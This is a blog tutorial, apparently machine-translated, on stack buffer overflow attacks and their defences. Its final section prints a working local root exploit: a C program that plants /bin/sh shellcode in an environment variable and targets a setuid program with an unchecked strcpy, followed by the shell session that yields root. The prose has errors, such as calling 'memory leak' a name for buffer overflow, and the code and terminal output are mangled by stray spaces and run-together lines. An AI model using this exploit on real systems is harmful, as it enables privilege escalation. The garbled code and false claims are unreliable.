Buffer Overflow Attack: Everything You Need To Know

buffer overflow

A buffer overflow attack is an attack action that uses a buffer overflow vulnerability. Buffer overflow is a very common and very dangerous loophole that exists widely in various operating systems and application software. Using buffer overflow attacks can lead to consequences such as program failure, system shutdown, and restart.

What is Buffer Overflow?

Buffer overflow means that when the computer fills the buffer with a number of data bits, the capacity of the buffer itself is exceeded, and the overflowed data is overlaid on the legal data. 

The ideal situation is: the program will check the data length, and does not allow the input of characters that exceed the buffer length. But most programs will assume that the data length always matches the allocated storage space, which lays a hidden danger for buffer overflow. The buffer used by the operating system is also called " stack ". 

Between each operation process, the instruction will be temporarily stored in the "stack", and the "stack" will also overflow the buffer.

What harm can cause by Buffer Overflow?

You can use it to execute unauthorized instructions, and you can even obtain system privileges to perform various illegal operations. 

Buffer overflow attacks have multiple English names: buffer overflow, buffer overrun, smash the stack, trash the stack, scribble the stack, mangle the stack, memory leak, overrun screw; they all refer to the same attack method. 

The first buffer overflow attack, the Morris worm, occurred two decades ago and caused damage to more than 6,000 network servers worldwide.

In the current network and distributed system security, more than 50% of the widely used are buffer overflows. 

The most famous example is the worm that used the finger's vulnerability in 1988. The most dangerous of buffer overflows is a stack overflow, because intruders can use stack overflow to change the address of the returned program when the function returns, and let it jump to any address. 

One of the hazards is that the program crashes and leads to rejection Service, the other is to jump and execute a piece of malicious code, such as getting a shell, and then doing whatever you want.

Buffer Overflow Principle

buffer overflow example

By adding to the program buffer write beyond what its length, resulting in a buffer overflow, thus undermining the program stack, so that the program executed instead other instructions, to achieve the purpose of the attack. 

The cause of the buffer overflow is that the parameters entered by the user are not carefully checked in the program. For example, the following program:

void function (char * str) {char buffer [16]; strcpy (buffer, str);}

The above strcpy () will directly copy the contents of str to the buffer. In this way, as long as the length of str is greater than 16, it will cause a buffer overflow and make the program run wrong. The standard functions that have problems like strcpy are strcat (), sprint (), vsprintf (), gets (), scanf (), etc.

Of course, just filling the buffer to cause it to overflow will generally only cause a segmentation fault, and cannot achieve the purpose of the attack. 

The most common method is to make the program run a user shell by creating a buffer overflow and then execute other commands through the shell. 

If the program belongs to root and has suid permissions, the attacker obtains a shell with root permissions and can perform arbitrary operations on the system.

The reason why buffer overflow attacks become a common security attack is that buffer overflow vulnerabilities are too common and easy to implement. 

Moreover, buffer overflow has become the main means of remote attacks because the buffer overflow vulnerability gives the attacker everything he wants: implanting and executing attack code.

The implanted attack code runs a program with a buffer overflow vulnerability with certain permissions, thereby obtaining control of the attacked host.

Purpose of Buffer Overflow attack

The purpose of the buffer overflow attack is to disturb the function of a program running with certain privileges. 

This allows the attacker to gain control of the program. If the program has sufficient permissions, the entire host is controlled. Generally speaking, an attacker attacks the root program and then executes the execution code similar to "exec (sh)" to obtain a shell with root authority. 

In order to achieve this goal, the attacker must achieve the following two goals:

  • Arrange appropriate codes in the address space of the program.
  • Let the program jump to the address space arranged by the intruder for execution through proper initialization of registers and memory.
Ways to arrange appropriate code in the address space of the program

There are two ways to arrange attack code in the address space of the attacked program:

1. Implantation

The attacker enters a string into the attacked program, and the program puts the string in the buffer . The information contained in this string is a sequence of instructions that can be run on the attacked hardware platform. Here, the attacker uses the buffer of the attacked program to store the attack code. The buffer can be set anywhere: stack (stack, automatic variable ), heap ( heap , dynamically allocated memory area) and static data area.
2. Use Existing Code 

Sometimes, the code the attacker wants is already in the attacked program, all the attacker has to do is pass some parameters to the code. For example, if the attack code requires the execution of "exec (bin / sh)", and the code in the libc library executes "exec (arg)", where arg is a pointer parameter pointing to a string, then the attacker only needs to pass The parameter pointer changes to point to "/ bin / sh".

Control program transfer method to attack code

All of these methods are seeking to change the execution flow of the program to jump to the attack code. 

The most basic is to overflow a buffer without boundary checking or other weaknesses, which will disrupt the normal execution order of the program. 

By overflowing a buffer, an attacker can use a brute force method to rewrite the adjacent program space and directly skip the system check.

The basis of classification is the type of program space that the attacker seeks for the buffer overflow. 

In principle, it can be any space. In fact, many buffer overflows use brute force methods to seek to change the program pointer. 

The difference between these programs is the breakthrough of program space and the positioning of memory space. There are three main types:

  • Activity Record;
  • Function Pointers;
  • Long jump buffers.
1. Activity Record

Whenever a function call occurs, the caller will leave an activity record on the stack , which contains the address returned at the end of the function. The attacker overflows the automatic variables in the stack so that the return address points to the attack code. By changing the return address of the program, when the function call ends, the program jumps to the address set by the attacker instead of the original address. This type of buffer overflow is called a stack overflow attack (Stack Smashing Attack) and is the most commonly used buffer overflow attack.
2. Function Pointers 

The function pointer can be used to locate any address space. For example: "void (* foo) ( )" declares a return value of void function pointer variable foo. Therefore, the attacker only needs to find a buffer that can overflow near the function pointer in any space, and then overflow this buffer to change the function pointer. At a certain moment, when a program calls a function through a function pointer, the flow of the program is realized according to the attacker's intention. An example of its attack is the super probe program under the Linux system.
3. Long jump buffers

A simple verification/recovery system is included in the C language, called setjmp/ ongjmp. It means to set "setjmp (buffer)" at the checkpoint and use "longjmp (buffer)" to restore the checkpoint. However, if the attacker can enter the buffer space, then "longjmp (buffer)" is actually the code that jumps to the attacker. Like function pointers, longjmp buffers can point anywhere, so all an attacker has to do is find a buffer that can overflow. A typical example is a buffer overflow Perl 5.003; to restore the attacker first enters the buffer overflow of the buffer longjmp, then induced into recovery mode, thus making Perl the interpreter jumps to the code attack.

Comprehensive analysis of code implantation and process control technology

The simplest and most common type of buffer overflow attack is to integrate code implantation and activity recording technology in a string. 

The attacker locates an automatic variable that can be overflowed and then passes a large string to the program. The code is implanted while causing a buffer overflow and changing the activity record. This is the template for the attack pointed out by Levy. Because C has traditionally only created small buffers for users and parameters, examples of this type of vulnerability attack are very common.

Code embedding and buffer overflow do not have to be completed in one action. An attacker can place code in a buffer, which is a buffer that cannot overflow. Then, the attacker moves the pointer of the program by overflowing another buffer. 

This method is generally used to solve the situation where the buffer available for overflow is not large enough (cannot put all the code).

If attackers try to use code that is already resident instead of embedding code from outside, they usually must call the code as a parameter. 

For example, part of the code segment in libc (almost all C programs require it to connect) will execute "exec (something)", where something is the parameter. 

The attacker then uses a buffer overflow to change the parameters of the program and then uses another buffer overflow to make the program pointer point to a specific code segment in libc.

buffer overflow prevention techniques

buffer overflow prevention

Buffer overflow attacks account for the vast majority of remote network attacks. Such attacks can give an anonymous Internet user the opportunity to gain some or all control of a host. If the buffer overflow vulnerability can be effectively eliminated, a large part of the security threat can be mitigated.

There are four basic methods to protect the buffer from attacks and effects of buffer overflow.

  • The operating system makes the buffer unexecutable, thereby preventing attackers from implanting attack code.
  • The method to force writing correct code.
  • The use of compiler boundary checks to achieve buffer protection. This method makes the buffer overflow impossible, thus completely eliminating the threat of buffer overflow, but relatively expensive.
  • An indirect method. This method performs an integrity check before the program pointer fails. Although this method cannot invalidate all buffer overflows, it can prevent most buffer overflow attacks. Analyze the compatibility and performance advantages of this protection method.
Non-executing buffer

By making the address space of the data segment of the attacked program unexecutable, making it impossible for an attacker to execute the code embedded in the input buffer of the attacked program, this technique is called a non-executing buffer technique. 

In the early Unix system design, only the program code was allowed to execute in the code segment. 

However, Unix and MS Windows systems tend to dynamically put executable code in the data segment due to better performance and functionality, which is also the source of buffer overflow. 

In order to maintain the compatibility of the program, it is impossible to make the data segments of all programs unexecutable.

But it can be set that the stack data segment is not executable so that the compatibility of the program can be guaranteed. 

Both Linux and Solaris have released kernel patches in this regard. Because almost no legal program will store code on the stack, this approach will not cause any compatibility problems. Except for two special cases in Linux, the executable code must be put on the stack at this time:

Signal transmission

Linux sends Unix signals to processes by releasing code to the process stack and then triggering an interrupt to execute the code in the stack. The non-executing buffer patch allows the buffer to be executable when sending a signal.

Online reuse of GCC

The study found that GCC placed executable code in the stack area for online reuse. However, turning off this function does not cause any problems, and only some functions seem to be unavailable.

Non-execution stack protection can effectively deal with buffer overflow attacks that embed code into automatic variables but have no effect on other forms of attacks. By referring to the pointer of a resident program, this protection can be skipped. Other attacks can use code embedded in the heap or static data segment to skip protection.

Write the correct code

Writing correct code is a very meaningful job, especially like writing C-style programs that are free and error-prone.

 This style is caused by the tradition of ignoring correctness in pursuit of performance. Although it took a long time for people to know how to write secure programs, programs with security holes still appeared.

Therefore, people have developed tools and techniques to help inexperienced programmers write safe and correct programs.

The easiest way is to use grep to search the source code for vulnerable library calls, such as calls to strcpy and sprintf. Both of these functions do not check the length of the input parameters. In fact, all versions of the C standard library have such problems.

In addition, people have also developed some advanced troubleshooting tools, such as fault injection. 

The purpose of these tools is to find security holes in the code by artificially randomly generating some buffer overflows. 

There are also static analysis tools for detecting the presence of buffer overflows.

Although these tools help programmers develop more secure programs, due to the characteristics of the C language, these tools cannot find all buffer overflow vulnerabilities. 

Therefore, error detection technology can only be used to reduce the possibility of buffer overflow, and it cannot completely eliminate its existence.

Buffer Overflow Attack Example

First look at an example of a buffer overflow attack under Linux.

#include < stdlib.h >

#include <unistd.h>

extern char ** environ;

int main (int argc, char ** argv) {

char large_string [128];

long * long_ptr = (long *) large_string;

int i;

char shellcode [] = "\\ xeb \\ x1f \\ x5e \\ x89 \\ x76 \\ x08 \\ x31 \\ xc0 \\ x88 \\ x46 \\ x07" "\\ x89 \\ x46 \\ x0c \\ xb0 \\ x0b \\ x89 \\ xf3 \\ x8d \\ x4e \\ x08 \\ x8d "" \\ x56 \\ x0c \\ xcd \\ x80 \\ x31 \\ xdb \\ x89 \\ xd8 \\ x40 \\ xcd "" \\ x80 \\ xe8 \\ xdc \\ xff \\ xff \\ xff / bin / sh ";

for (i = 0; i <32; i ++)

* (long_ptr + i) = (int) strtoul (argv [2], NULL, 16);

for (i = 0; i <(int) strlen ( shellcode ); i ++)

large_string [i] = shellcode [i]; setenv ("KIRIKA", large_string, 1);

execle (argv [1], argv [1], NULL, environ);

return 0;}

Attack program exe.c

#include <stdio.h>

#include <stdlib.h>

int main (int argc, char ** argv) {

char buffer [96];

printf ("-% p-\\ n", & buffer);

strcpy (buffer, getenv ("KIRIKA"));

return 0;}

Attack object code.c

Compile the above two programs into executable programs respectively, and change code.c to the setuid program whose owner is root:

gcc exe.c -o exe $ gcc code.c -o code $ suPassword: # chown root.root code # chmod + s code # ls -l exe code-rwxr-xr-x 1 wy os 11871 Sep 28 20: 20 exe ​​* -rwsr-sr-x 1 root root 11269 Sep 28 20:20 code * # exit

OK, see what happens next. First of all, do n’t forget to verify our identity with the whoami command. In fact, Linux inherits a habit of UNⅨ, that is, the command prompt of ordinary users starts with $, and the command prompt of super users starts with #.

whoamiwy $ ./exe ./code 0xbfffffff- 0xbffffc38 -Segmentation fault $ ./exe ./code 0xbffffc38- 0xbffffc38 -bash # whoamirootbash #

The first time is generally not successful, but we can accurately know the loophole of the system-0xbffffc38, the second time must be killed. 

When we execute the whoami command again under the newly created shell, our identity is already root. Since the highest goal of hacking under all UNⅨ systems is the pursuit of root authority, it can be said that the system has been compromised.

If you want to know more about Buffer Overflow and want to learn Buffer Overflow in deep. I have searched for the best book which will be beneficial to you.

Buffer overflow book:

Thanks for reading our article.

Post a Comment

Previous Post Next Post